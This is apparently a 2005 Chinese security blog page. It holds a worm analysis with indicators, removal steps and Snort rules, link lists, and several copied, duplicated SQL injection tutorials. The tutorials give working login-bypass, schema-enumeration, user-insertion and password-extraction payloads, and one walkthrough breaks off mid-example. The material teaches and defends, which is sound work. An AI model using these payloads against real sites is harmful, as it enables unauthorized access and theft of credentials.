alert tcp $EXTERNAL_NET any -> $HOME_NET 42 (msg:"EXPLOIT WINS Overflow Attempt"; flow:to_server,established; byte_test:1,&,64,6; byte_test:1,&,32,6; byte_test:1,&,16,6; byte_test:1,&,8,6; pcre:!"/^.{8}(\x05\x37(\x1E[\x90-\xFF]|[\x1F-\x2F].|\x30[\x00-\x70])|\x00\x00\x00[\x00-\x65]|\x02\x68\x05\xC0)/s"; reference:bugtraq,11763; reference:cve,2004-1080; reference:url,www.immunitysec.com/downloads/instantanea.pdf; reference:url,www.microsoft.com/technet/security/bulletin/MS04-045.mspx; classtype:misc-attack; sid:3017; rev:6;)
近日,一种以利用MS05-051漏洞的新型的蠕虫爆发,该蠕虫在几天内迅速出现多个变种,新变种除了利用MS05-051外,还利用MS04- 045、MS05-039、MSSQL-Hello等漏洞传播,威胁到Windows 2000、Windows XP、Windows 2003等系统。
病毒文件主要分为两部分,一部分为病毒的扫描、溢出部分,一部分是攻击者进行远程控制。
一、扫描:
蠕虫体在运行后会释放出来如下文件:
%System%\wins\Result.txt 结果文件
%System%\wins\SqlExp.exe Exploit.Win32.MS04-045.k
%System%\wins\SqlExp1.exe Exploit.Win32.MS05-039.ac
%System%\wins\SqlExp2.exe Exploit.Win32.MS05-051.d
%System%\wins\SqlExp3.exe Exploit.Win32.MSSQL-Hello.a
%System%\wins\SqlScan.exe NetTool.Win32.TCPPortScanner
%System%\wins\Sqltob.exe Net-Worm.Win32.Dasher.b
同目录下还可能存在42.txt、445.txt、1025.txt、1433.txt等遗留文件。
其中.b变种的sqltob.exe蠕虫体主文件:
[文件信息]
Size: 0x2420 (9248)
MD5:53BAE5B6B6CD8794B05DF2B99B4128BA
PE Appended: at 0x2264 (8804), size 0x1BC (444)
Compiler:LCC Win32
sqltob.exe协调扫描和攻击,攻击采用格式如下:SqlExp.exe -r 222.240.219.143 -p 53 -o 0 -t ip
其中222.240.219.143为“黑客”的控制IP。
1、蠕虫修改注册表,增加如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
键名:SMBDeviceEnabled
键值:dword:00000000
2、修改如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC
键名:Start
修改为:dword:00000004
二、控制:
此组合蠕虫采用如下后门文件控制目标系统:
%ProgramFiles%\nzspfrwy.log keylog文件
%ProgramFiles%\nzspfrwy.dll Backdoor.Win32.PcClient.ij
%ProgramFiles%\nzspfrwy.dl1 Backdoor.Win32.PcClient.hp
%ProgramFiles%\nzspfrwy.sys Backdoor.Win32.PcClient.ij
其中nzspfrwy.sys驱动HOOK系统SSDT来隐藏nzspfrwy*文件。第一次运行将nzspfrwy.dll插入到 svchost进程,并启动一个隐藏的IE进程与远程主机通信。连接域名free???-???.cn/zyangel和DNS??.3322.org域名,前者域名可以下载sdbot相关文件,后者将接受控制者控制。(?为屏蔽的字母)
1、修改如下键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters
键名:ServiceDll
修改为:%ProgramFiles%\nzspfrwy.dll
2、增加如下服务:
服务名称:nzspfrwy
显示名称:nzspfrwy
执行文件路径:C:\Program Files\nzspfrwy.sys
3、采用如下方式与控制者通讯:
PUT /upjpg.asp?501361070000F0FD010026*
GET /index.asp?500261070000F0FD010026*
三、清除办法:(以WIN2000 PRO版为例)
1、任务管理器结束:Sqltob.exe、SqlScan.exe进程。
2、删除%System%\wins下对应文件。
3、修改注册表键停止内核驱动:
开始→运行:regedit.exe
定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nzspfrwy
修改Startdword值为4,重启动系统。
4、重启动后,会在任务管理器中看到没有被隐藏的IE进程,该进程无法用任务管理器结束,可以用ntsd -cq -p pid 结束。
删除%ProgramFiles%\对应的病毒文件。
5、删除残余服务表项:
SC delete nzspfrwy
用注册表编辑器删除此键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NZSPFRWY
6、恢复HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters表项:
键名:ServiceDll
病毒键值:%ProgramFiles%\nzspfrwy.dll
恢复为:%SystemRoot%\system32\rpcss.dll
7、升级系统补丁。
8、在防火墙中屏蔽如下端口:
42
445
1025
1433
四、Snort预警规则:
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"EXPLOIT MS-SQL Hello Overflow Attempt"; flow:to_server,established; content:"|12 01 00 34 00 00 00 00|"; offset:0; depth:8; dsize:>570; reference:url,www.microsoft.com/technet/security/bulletin/MS02-056.mspx; rev:5;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EXPLOIT UPnP Overflow Attempt"; flow:to_server,established; content:"|ff 53 4d 42 25|"; offset:4; depth:5; content:"|5c 00 50 00 49 00 50 00 45 00 5c 00 00 00|"; offset:72; depth:14; content:"|26 00|"; offset:65; depth:2; content:"|00|"; offset:90; depth:1; content:"|36 00|"; offset:110; depth:2; content:"|90 90 90 90 90 90 90 90 90 90 90 90|"; offset:200; dsize:>1300; reference:url,www.microsoft.com/technet/security/bulletin/MS05-039.mspx; rev:5;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"EXPLOIT MSDTC Overflow Attempt"; flow:to_server,established; content:"|05 00 00 83 10 00 00 00 2c 05|"; offset:0; depth:10; content:"|e0 0c 6b 90 0b c7 67 10 b3 17 00 dd 01 06 62 da|"; offset:24; depth:16; content:"|cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00|"; offset:208; dsize:1024; reference:url,www.microsoft.com/technet/security/bulletin/MS05-051.mspx; rev:5;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 42 (msg:"EXPLOIT WINS Overflow Attempt"; flow:to_server,established; byte_test:1,&,64,6; byte_test:1,&,32,6; byte_test:1,&,16,6; byte_test:1,&,8,6; pcre:!"/^.{8}(\x05\x37(\x1E[\x90-\xFF]|[\x1F-\x2F].|\x30[\x00-\x70])|\x00\x00\x00[\x00-\x65]|\x02\x68\x05\xC0)/s"; reference:bugtraq,11763; reference:cve,2004-1080; reference:url,www.immunitysec.com/downloads/instantanea.pdf; reference:url,www.microsoft.com/technet/security/bulletin/MS04-045.mspx; classtype:misc-attack; sid:3017; rev:6;)
星期一, 十二月 19, 2005
rootkit Site
http://rootkit.host.sk/
http://www.rootkit.com/
http://www.chkrootkit.org/
http://www.rootkit.nl/
Tools&HackingExposed
http://www.windowsecurity.com/
http://www.sysinternals.com/
http://www.winhackingexposed.com/
http://www.windowsitpro.com/
http://www.spywareinfo.com/
http://ntbugtraq.ntadvice.com/
http://www.rootkit.com/
http://www.chkrootkit.org/
http://www.rootkit.nl/
Tools&HackingExposed
http://www.windowsecurity.com/
http://www.sysinternals.com/
http://www.winhackingexposed.com/
http://www.windowsitpro.com/
http://www.spywareinfo.com/
http://ntbugtraq.ntadvice.com/
星期五, 十二月 16, 2005
Sec advis
eEye http://www.eeye.com/html/research/advisories/index.html
iDefense http://www.idefense.com/application/poi/display?type=vulnerabilities
NGS http://www.nextgenss.com/advisory.htm
ISS http://xforce.iss.net/xforce/alerts/advisories
Nsfocus http://www.nsfocus.com/english/homepage/research/advisory.htm
Core Security http://www.coresecurity.com/corelabs/advisories/index.php
BindView http://www.bindview.com/Advisories/index.cfm
e-matters http://security.e-matters.de/
Rapid7 http://www.rapid7.com/advisories/rapid7-advisories.htm
Georgi Guninski http://www.guninski.com/
@stake http://www.atstake.com/research/advisories/2004/
Foundstone http://www.foundstone.com/resources/advisories.htm
Application Security http://www.appsecinc.com/resources/alerts/
iSEC http://www.isec.pl/vulnerabilities.html
exploitlabs http://www.exploitlabs.com/files/advisories/
Luigi Auriemma http://aluigi.altervista.org/adv.htm
Luca Ercoli http://www.lucaercoli.it
Chris Evans http://scary.beasts.org/security/
Jouko Pynnönen http://jouko.iki.fi/research.html
iDefense http://www.idefense.com/application/poi/display?type=vulnerabilities
NGS http://www.nextgenss.com/advisory.htm
ISS http://xforce.iss.net/xforce/alerts/advisories
Nsfocus http://www.nsfocus.com/english/homepage/research/advisory.htm
Core Security http://www.coresecurity.com/corelabs/advisories/index.php
BindView http://www.bindview.com/Advisories/index.cfm
e-matters http://security.e-matters.de/
Rapid7 http://www.rapid7.com/advisories/rapid7-advisories.htm
Georgi Guninski http://www.guninski.com/
@stake http://www.atstake.com/research/advisories/2004/
Foundstone http://www.foundstone.com/resources/advisories.htm
Application Security http://www.appsecinc.com/resources/alerts/
iSEC http://www.isec.pl/vulnerabilities.html
exploitlabs http://www.exploitlabs.com/files/advisories/
Luigi Auriemma http://aluigi.altervista.org/adv.htm
Luca Ercoli http://www.lucaercoli.it
Chris Evans http://scary.beasts.org/security/
Jouko Pynnönen http://jouko.iki.fi/research.html
星期三, 十二月 14, 2005
星期五, 十二月 09, 2005
SQL Injection
SQL Injection
SQL Injection is an attack technique used to exploit web sites that construct SQL statements from user-supplied input.
Structured Query Language (SQL) is a specialized programming language for sending queries to databases. Most small and industrial- strength database applications can be accessed using SQL statements. SQL is both an ANSI and an ISO standard. However, many database products supporting SQL do so with proprietary extensions to the standard language. Web applications may use user-supplied input to create custom SQL statements for dynamic web page requests.
When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of backend SQL statements. When an attacker is able to modify a SQL statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). The impact of this attack can allow attackers to gain total control of the database or even execute commands on the system.
The same advanced exploitation techniques available in LDAP Injection can also be similarly applied to SQL Injection.
Example
A web based authentication form might have code that looks like the following: SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthCheck = GetQueryResult(SQLQuery) In this code, the developer is taking the user-input from the form and embedding it directly into an SQL query. Suppose an attacker submits a login and password that looks like the following: Login: ' OR ''=' Password: ' OR ''=' This will cause the resulting SQL query to become: SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' Instead of comparing the user-supplied data with entries in the Users table, the query compares '' (empty string) to '' (empty string). This will return a True result and the attacker will then be logged in as the first user in the Users table.
There are two commonly known methods of SQL injection: Normal SQL Injection and Blind SQL Injection. The first is vanilla SQL Injection in which the attacker can format his query to match the developer's by using the information contained in the error messages that are returned in the response.
Normal SQL Injection
By appending a union select statement to the parameter, the attacker can test to see if he can gain access to the database:
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
The SQL server then might return an error similar to this: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. This tells the attacker that he must now guess the correct number of columns for his SQL statement to work.
Blind SQL Injection
In Blind SQL Injection, instead of returning a database error, the server returns a customer-friendly error page informing the user that a mistake has been made. In this instance, SQL Injection is still possible, but not as easy to detect. A common way to detect Blind SQL Injection is to put a false and true statement into the parameter value.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=1
should return the same web page as:
http://example/article.asp?ID=2
because the SQL statement 'and 1=1' is always true.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=0
would then cause the web site to return a friendly error or no page at all. This is because the SQL statement "and 1=0" is always false.
Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.
References
"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf
"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf
"Advanced SQL Injection in SQL Server Applications", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
"More advanced SQL Injection", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc
"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
"Blind SQL Injection" - Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
"SQL Injection Signatures Evasion" - Imperva
http://www.imperva.com/application_defense_center/white_papers/ sql_injection_signatures_evasion.html
"Introduction to SQL Injection Attacks for Oracle Developers" - Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
SQL Injection is an attack technique used to exploit web sites that construct SQL statements from user-supplied input.
Structured Query Language (SQL) is a specialized programming language for sending queries to databases. Most small and industrial- strength database applications can be accessed using SQL statements. SQL is both an ANSI and an ISO standard. However, many database products supporting SQL do so with proprietary extensions to the standard language. Web applications may use user-supplied input to create custom SQL statements for dynamic web page requests.
When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of backend SQL statements. When an attacker is able to modify a SQL statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). The impact of this attack can allow attackers to gain total control of the database or even execute commands on the system.
The same advanced exploitation techniques available in LDAP Injection can also be similarly applied to SQL Injection.
Example
A web based authentication form might have code that looks like the following: SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthCheck = GetQueryResult(SQLQuery) In this code, the developer is taking the user-input from the form and embedding it directly into an SQL query. Suppose an attacker submits a login and password that looks like the following: Login: ' OR ''=' Password: ' OR ''=' This will cause the resulting SQL query to become: SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' Instead of comparing the user-supplied data with entries in the Users table, the query compares '' (empty string) to '' (empty string). This will return a True result and the attacker will then be logged in as the first user in the Users table.
There are two commonly known methods of SQL injection: Normal SQL Injection and Blind SQL Injection. The first is vanilla SQL Injection in which the attacker can format his query to match the developer's by using the information contained in the error messages that are returned in the response.
Normal SQL Injection
By appending a union select statement to the parameter, the attacker can test to see if he can gain access to the database:
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
The SQL server then might return an error similar to this: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. This tells the attacker that he must now guess the correct number of columns for his SQL statement to work.
Blind SQL Injection
In Blind SQL Injection, instead of returning a database error, the server returns a customer-friendly error page informing the user that a mistake has been made. In this instance, SQL Injection is still possible, but not as easy to detect. A common way to detect Blind SQL Injection is to put a false and true statement into the parameter value.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=1
should return the same web page as:
http://example/article.asp?ID=2
because the SQL statement 'and 1=1' is always true.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=0
would then cause the web site to return a friendly error or no page at all. This is because the SQL statement "and 1=0" is always false.
Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.
References
"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf
"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf
"Advanced SQL Injection in SQL Server Applications", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
"More advanced SQL Injection", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc
"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
"Blind SQL Injection" - Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
"SQL Injection Signatures Evasion" - Imperva
http://www.imperva.com/application_defense_center/white_papers/ sql_injection_signatures_evasion.html
"Introduction to SQL Injection Attacks for Oracle Developers" - Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
SQL injection
SQL Injection
SQL injection is probably the most common vector used to attack SQL Server. This is because web applications are typically deployed as Internet-facing and, if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. SQL Server is also particularly vulnerable to this type of attack because of its verbose error messages. SQL Server's error messages can be viewed in the sysmessages table in the master database.
SQL injection occurs when information submitted by a browser to a web application is inserted into a database query without being properly checked.
An example of this is an HTML form that receives posted data from the user and passes it to an Active Server Pages (ASP) script running on Microsoft's IIS web server. The two data items passed are a username and password, and they are checked by querying a SQL Server database. The schema of the users table in the backend database is as follows:
username varchar(255)
password varchar(255)
The query executed is
SELECT * FROM users WHERE username = '[username]' AND password =
'[password]';
However, the ASP script builds the query from user data using the following line:
var query = "SELECT * FROM users WHERE username = '" + username +"' AND
password = '" + password + "'";
If the username is a single-quote character (') the effective query becomes
SELECT * FROM users WHERE username = ''' AND password = '[password]';
This is invalid SQL syntax and produces a SQL Server error message in the user's browser:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string '' and password=''.
/login.asp, line 16
The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. The attacker can now begin to inject strings into the query in order to customize its behavior; for example, in order to logon as the first user
in the users table you would post a username of
' or 1=1—
This converts to a query of
SELECT * FROM users WHERE username = '' or 1=1 — -' AND password =
'[password]';
The double hyphens (--) signify a Transact-SQL comment, so all subsequent text is ignored. Because one will always equal one, this query will return the entire users table, the ASP script will accept the logon because results were returned, and the client will be authenticated as the first user in the table.
If a specific username is known the account can be accessed with the username:
' or username='knownuser' —
Even if a real username is not known, an invented one can be used with the username:
' union select 1, 'myusername', 'mypassword', 1 —
An example of verbose SQL Server error messages can be seen by using a username of
' and 1 in (SELECT @@version) —
which results in the following:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov
19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enter
prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col
umn of data type int.
/login.asp, line 16
By referencing the online SQL Server version database at SQL Security (http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), version 8.00.534 corresponds to SQL Server 2000 service pack 2 without any hotfixes. This version is vulnerable to several overflow attacks in stored procedures and functions such as xp_sprintf, formatmessage(), and raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-20020154).
The next step is to retrieve information about the structure of the database and its tables in order to manipulate the data. If, for convenience, an attacker wants to create an account on the system, he would need to know details about the database schema. The SQL clause HAVING is used to filter records returned by GROUP BY. They must be used together so the following username produces an informative error:
' having 1=1--
This gives the table name as "users" and the first column used in the query as "username":
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/login.asp, line 16
The rest of the columns can be determined by feeding the previous column name back into the select statement together with a GROUP BY clause:
' group by users.username having 1=1 —
This returns:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password'
is invalid in the select list because it is not contained in an
aggregate function or the GROUP BY clause.
/login.asp, line 16
The next attempt is
' group by users.username,users.password having 1=1 —
This doesn't generate an error, because the GROUP BY clause cancels out to make the effective query passed to the database select all users where the username is".
It can now be inferred that the query used by the ASP script operates only on the users table and uses the columns username and password. It would be natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an expression or calculate the average of all values in a group, respectively. Both functions can be used only with numeric fields or formulas, so passing the username
' union select sum(username) from users —
gives the error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/login.asp, line 16
This reveals that the username column is of type varchar. To determine the data type of a numeric column (num) you would pass the column name to the sum function as before. This produces
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/login.asp, line 16
Now that the attacker has an idea of the schema used to hold user information, he can formulate a query to add his user:
'; insert into users values('bob', 's3cret') —
The table data itself can be extracted from the database using the same method used to obtain the server version
information — attempted conversion of a character string to a number:
' union select min(username) from users where username > 'a' —
This returns the first username in alphabetical order (the first username that is alphabetically greater than the letter a):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/login.asp, line 16
All the users on the system can now be enumerated by substituting the last retrieved username for "a" in the query:
' union select min(username) from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'bob' to a column of data type int.
/login.asp, line 16
This continues until no error is generated, meaning that the query produced no result. The administrator password can be gathered:
' or 1 in (select password from users where username = 'admin') —
which returns
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'nE1410s' to a column of data type int.
/login.asp, line 16
You can find further information on SQL injection techniques in the technical whitepapers:
Advanced SQL Injection in SQL Server Applications, by Chris Anley
More Advanced SQL Injection, also by Chris Anley
Manipulating Microsoft SQL Server Using SQL Injection, by Cesar Cerrudo
SQL injection is probably the most common vector used to attack SQL Server. This is because web applications are typically deployed as Internet-facing and, if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. SQL Server is also particularly vulnerable to this type of attack because of its verbose error messages. SQL Server's error messages can be viewed in the sysmessages table in the master database.
SQL injection occurs when information submitted by a browser to a web application is inserted into a database query without being properly checked.
An example of this is an HTML form that receives posted data from the user and passes it to an Active Server Pages (ASP) script running on Microsoft's IIS web server. The two data items passed are a username and password, and they are checked by querying a SQL Server database. The schema of the users table in the backend database is as follows:
username varchar(255)
password varchar(255)
The query executed is
SELECT * FROM users WHERE username = '[username]' AND password =
'[password]';
However, the ASP script builds the query from user data using the following line:
var query = "SELECT * FROM users WHERE username = '" + username +"' AND
password = '" + password + "'";
If the username is a single-quote character (') the effective query becomes
SELECT * FROM users WHERE username = ''' AND password = '[password]';
This is invalid SQL syntax and produces a SQL Server error message in the user's browser:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string '' and password=''.
/login.asp, line 16
The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. The attacker can now begin to inject strings into the query in order to customize its behavior; for example, in order to logon as the first user
in the users table you would post a username of
' or 1=1—
This converts to a query of
SELECT * FROM users WHERE username = '' or 1=1 — -' AND password =
'[password]';
The double hyphens (--) signify a Transact-SQL comment, so all subsequent text is ignored. Because one will always equal one, this query will return the entire users table, the ASP script will accept the logon because results were returned, and the client will be authenticated as the first user in the table.
If a specific username is known the account can be accessed with the username:
' or username='knownuser' —
Even if a real username is not known, an invented one can be used with the username:
' union select 1, 'myusername', 'mypassword', 1 —
An example of verbose SQL Server error messages can be seen by using a username of
' and 1 in (SELECT @@version) —
which results in the following:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov
19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enter
prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col
umn of data type int.
/login.asp, line 16
By referencing the online SQL Server version database at SQL Security (http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), version 8.00.534 corresponds to SQL Server 2000 service pack 2 without any hotfixes. This version is vulnerable to several overflow attacks in stored procedures and functions such as xp_sprintf, formatmessage(), and raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-20020154).
The next step is to retrieve information about the structure of the database and its tables in order to manipulate the data. If, for convenience, an attacker wants to create an account on the system, he would need to know details about the database schema. The SQL clause HAVING is used to filter records returned by GROUP BY. They must be used together so the following username produces an informative error:
' having 1=1--
This gives the table name as "users" and the first column used in the query as "username":
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/login.asp, line 16
The rest of the columns can be determined by feeding the previous column name back into the select statement together with a GROUP BY clause:
' group by users.username having 1=1 —
This returns:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password'
is invalid in the select list because it is not contained in an
aggregate function or the GROUP BY clause.
/login.asp, line 16
The next attempt is
' group by users.username,users.password having 1=1 —
This doesn't generate an error, because the GROUP BY clause cancels out to make the effective query passed to the database select all users where the username is".
It can now be inferred that the query used by the ASP script operates only on the users table and uses the columns username and password. It would be natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an expression or calculate the average of all values in a group, respectively. Both functions can be used only with numeric fields or formulas, so passing the username
' union select sum(username) from users —
gives the error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/login.asp, line 16
This reveals that the username column is of type varchar. To determine the data type of a numeric column (num) you would pass the column name to the sum function as before. This produces
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/login.asp, line 16
Now that the attacker has an idea of the schema used to hold user information, he can formulate a query to add his user:
'; insert into users values('bob', 's3cret') —
The table data itself can be extracted from the database using the same method used to obtain the server version
information — attempted conversion of a character string to a number:
' union select min(username) from users where username > 'a' —
This returns the first username in alphabetical order (the first username that is alphabetically greater than the letter a):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/login.asp, line 16
All the users on the system can now be enumerated by substituting the last retrieved username for "a" in the query:
' union select min(username) from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'bob' to a column of data type int.
/login.asp, line 16
This continues until no error is generated, meaning that the query produced no result. The administrator password can be gathered:
' or 1 in (select password from users where username = 'admin') —
which returns
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'nE1410s' to a column of data type int.
/login.asp, line 16
You can find further information on SQL injection techniques in the technical whitepapers:
Advanced SQL Injection in SQL Server Applications, by Chris Anley
More Advanced SQL Injection, also by Chris Anley
Manipulating Microsoft SQL Server Using SQL Injection, by Cesar Cerrudo
SQL Injection Walkthrough
Summary
The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.
Credit:
The information has been provided by SK.
Details
1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.
This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.
1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.
1.2 What do you need?
Any web browser.
2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
Everything between the have potential parameters that might be useful (exploit wise).
2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:
http://duck/index.asp?id=10
3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:
If luck is on your side, you will get login without any login name or password.
3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:
SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
